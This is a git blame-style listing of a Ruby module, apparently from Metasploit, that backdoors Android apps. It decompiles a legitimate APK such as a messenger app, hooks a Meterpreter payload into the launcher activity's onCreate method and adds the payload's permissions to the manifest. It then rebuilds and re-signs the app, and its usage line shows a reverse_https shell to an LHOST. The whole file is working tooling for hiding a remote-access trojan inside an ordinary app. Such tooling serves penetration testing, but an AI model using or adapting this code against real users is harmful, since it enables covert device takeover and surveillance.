2015-12-22 14:47:55 +00:00
|
|
|
# -*- coding: binary -*-
|
|
|
|
|
|
|
|
require 'msf/core'
|
2015-12-22 15:58:27 +00:00
|
|
|
require 'rex/text'
|
2015-12-22 14:47:55 +00:00
|
|
|
require 'tmpdir'
|
|
|
|
require 'nokogiri'
|
|
|
|
require 'fileutils'
|
|
|
|
require 'optparse'
|
|
|
|
require 'open3'
|
|
|
|
|
|
|
|
module Msf::Payload::Apk
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
class ApkBackdoor
|
|
|
|
include Msf::Payload::Apk
|
|
|
|
def backdoor_apk(apk, payload)
|
|
|
|
backdoor_payload(apk, payload)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_status(msg='')
|
|
|
|
$stderr.puts "[*] #{msg}"
|
|
|
|
end
|
|
|
|
|
2015-12-24 09:13:56 +00:00
|
|
|
def print_error(msg='')
|
2015-12-22 15:58:27 +00:00
|
|
|
$stderr.puts "[-] #{msg}"
|
|
|
|
end
|
|
|
|
|
2015-12-22 14:47:55 +00:00
|
|
|
def usage
|
2015-12-24 09:13:56 +00:00
|
|
|
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
|
|
|
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_cmd(cmd)
|
|
|
|
begin
|
|
|
|
stdin, stdout, stderr = Open3.popen3(cmd)
|
|
|
|
return stdout.read + stderr.read
|
|
|
|
rescue Errno::ENOENT
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Find the activity that is opened when you click the app icon
|
|
|
|
def find_launcher_activity(amanifest)
|
|
|
|
package = amanifest.xpath("//manifest").first['package']
|
|
|
|
activities = amanifest.xpath("//activity|//activity-alias")
|
|
|
|
for activity in activities
|
2015-12-24 12:21:08 +00:00
|
|
|
activityname = activity.attribute("targetActivity")
|
|
|
|
unless activityname
|
|
|
|
activityname = activity.attribute("name")
|
|
|
|
end
|
2015-12-22 14:47:55 +00:00
|
|
|
category = activity.search('category')
|
|
|
|
unless category
|
|
|
|
next
|
|
|
|
end
|
|
|
|
for cat in category
|
|
|
|
categoryname = cat.attribute('name')
|
|
|
|
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
|
2015-12-24 12:21:08 +00:00
|
|
|
name = activityname.to_s
|
|
|
|
if name.start_with?('.')
|
|
|
|
name = package + name
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
2015-12-24 12:21:08 +00:00
|
|
|
return name
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def fix_manifest(tempdir)
|
|
|
|
payload_permissions=[]
|
|
|
|
|
|
|
|
#Load payload's permissions
|
|
|
|
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
|
|
|
|
k=File.read(file)
|
|
|
|
payload_manifest=Nokogiri::XML(k)
|
|
|
|
permissions = payload_manifest.xpath("//manifest/uses-permission")
|
|
|
|
for permission in permissions
|
|
|
|
name=permission.attribute("name")
|
|
|
|
payload_permissions << name.to_s
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
original_permissions=[]
|
|
|
|
apk_mani=""
|
|
|
|
|
|
|
|
#Load original apk's permissions
|
|
|
|
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
|
|
|
|
k=File.read(file2)
|
|
|
|
apk_mani=k
|
|
|
|
original_manifest=Nokogiri::XML(k)
|
|
|
|
permissions = original_manifest.xpath("//manifest/uses-permission")
|
|
|
|
for permission in permissions
|
|
|
|
name=permission.attribute("name")
|
|
|
|
original_permissions << name.to_s
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
#Get permissions that are not in original APK
|
|
|
|
add_permissions=[]
|
|
|
|
for permission in payload_permissions
|
|
|
|
if !(original_permissions.include? permission)
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status("Adding #{permission}")
|
2015-12-22 14:47:55 +00:00
|
|
|
add_permissions << permission
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
inject=0
|
|
|
|
new_mani=""
|
|
|
|
#Inject permissions in original APK's manifest
|
|
|
|
for line in apk_mani.split("\n")
|
|
|
|
if (line.include? "uses-permission" and inject==0)
|
|
|
|
for permission in add_permissions
|
|
|
|
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
|
|
|
|
end
|
|
|
|
new_mani << line+"\n"
|
|
|
|
inject=1
|
|
|
|
else
|
|
|
|
new_mani << line+"\n"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
|
|
|
|
end
|
|
|
|
|
|
|
|
def backdoor_payload(apkfile, raw_payload)
|
|
|
|
unless apkfile && File.readable?(apkfile)
|
|
|
|
usage
|
2015-12-24 09:13:56 +00:00
|
|
|
raise RuntimeError, "Invalid template: #{apkfile}"
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
jarsigner = run_cmd("jarsigner")
|
|
|
|
unless jarsigner != nil
|
2015-12-24 09:13:56 +00:00
|
|
|
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
apktool = run_cmd("apktool -version")
|
|
|
|
unless apktool != nil
|
2015-12-24 09:13:56 +00:00
|
|
|
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
apk_v = Gem::Version.new(apktool)
|
|
|
|
unless apk_v >= Gem::Version.new('2.0.1')
|
2015-12-24 09:13:56 +00:00
|
|
|
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
2016-08-31 17:54:45 +00:00
|
|
|
unless File.readable?(File.expand_path("~/.android/debug.keystore"))
|
|
|
|
android_dir = File.expand_path("~/.android/")
|
|
|
|
unless File.directory?(android_dir)
|
|
|
|
FileUtils::mkdir_p android_dir
|
|
|
|
end
|
|
|
|
print_status "Creating android debug keystore...\n"
|
|
|
|
run_cmd("keytool -genkey -v -keystore ~/.android/debug.keystore \
|
|
|
|
-alias androiddebugkey -storepass android -keypass android -keyalg RSA \
|
|
|
|
-keysize 2048 -validity 10000 -dname 'CN=Android Debug,O=Android,C=US'")
|
|
|
|
end
|
|
|
|
|
2015-12-22 14:47:55 +00:00
|
|
|
#Create temporary directory where work will be done
|
|
|
|
tempdir = Dir.mktmpdir
|
|
|
|
|
|
|
|
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
|
|
|
|
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Decompiling original APK..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Decompiling payload APK..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
|
|
|
|
|
|
|
|
f = File.open("#{tempdir}/original/AndroidManifest.xml")
|
|
|
|
amanifest = Nokogiri::XML(f)
|
|
|
|
f.close
|
|
|
|
|
2015-12-24 12:21:08 +00:00
|
|
|
print_status "Locating hook point..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
launcheractivity = find_launcher_activity(amanifest)
|
2015-12-24 12:21:08 +00:00
|
|
|
unless launcheractivity
|
|
|
|
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
|
|
|
end
|
|
|
|
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
|
|
|
smalifiles = Dir.glob(smalifile)
|
|
|
|
for smalifile in smalifiles
|
|
|
|
if File.readable?(smalifile)
|
|
|
|
activitysmali = File.read(smalifile)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
unless activitysmali
|
|
|
|
raise RuntimeError, "Unable to find hook point in #{smalifiles}\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
entrypoint = ';->onCreate(Landroid/os/Bundle;)V'
|
|
|
|
unless activitysmali.include? entrypoint
|
|
|
|
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Copying payload files..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
|
|
|
|
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
|
2015-12-24 12:21:08 +00:00
|
|
|
|
|
|
|
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
|
|
|
|
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Loading #{smalifile} and injecting payload..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
2015-12-22 15:58:27 +00:00
|
|
|
injected_apk = "#{tempdir}/output.apk"
|
|
|
|
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
fix_manifest(tempdir)
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
2015-12-22 15:58:27 +00:00
|
|
|
print_status "Signing #{injected_apk}\n"
|
2015-12-22 14:47:55 +00:00
|
|
|
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
|
|
|
|
|
2015-12-22 15:58:27 +00:00
|
|
|
outputapk = File.read(injected_apk)
|
2015-12-24 09:13:56 +00:00
|
|
|
|
2015-12-22 14:47:55 +00:00
|
|
|
FileUtils.remove_entry tempdir
|
2015-12-24 09:13:56 +00:00
|
|
|
outputapk
|
2015-12-22 14:47:55 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|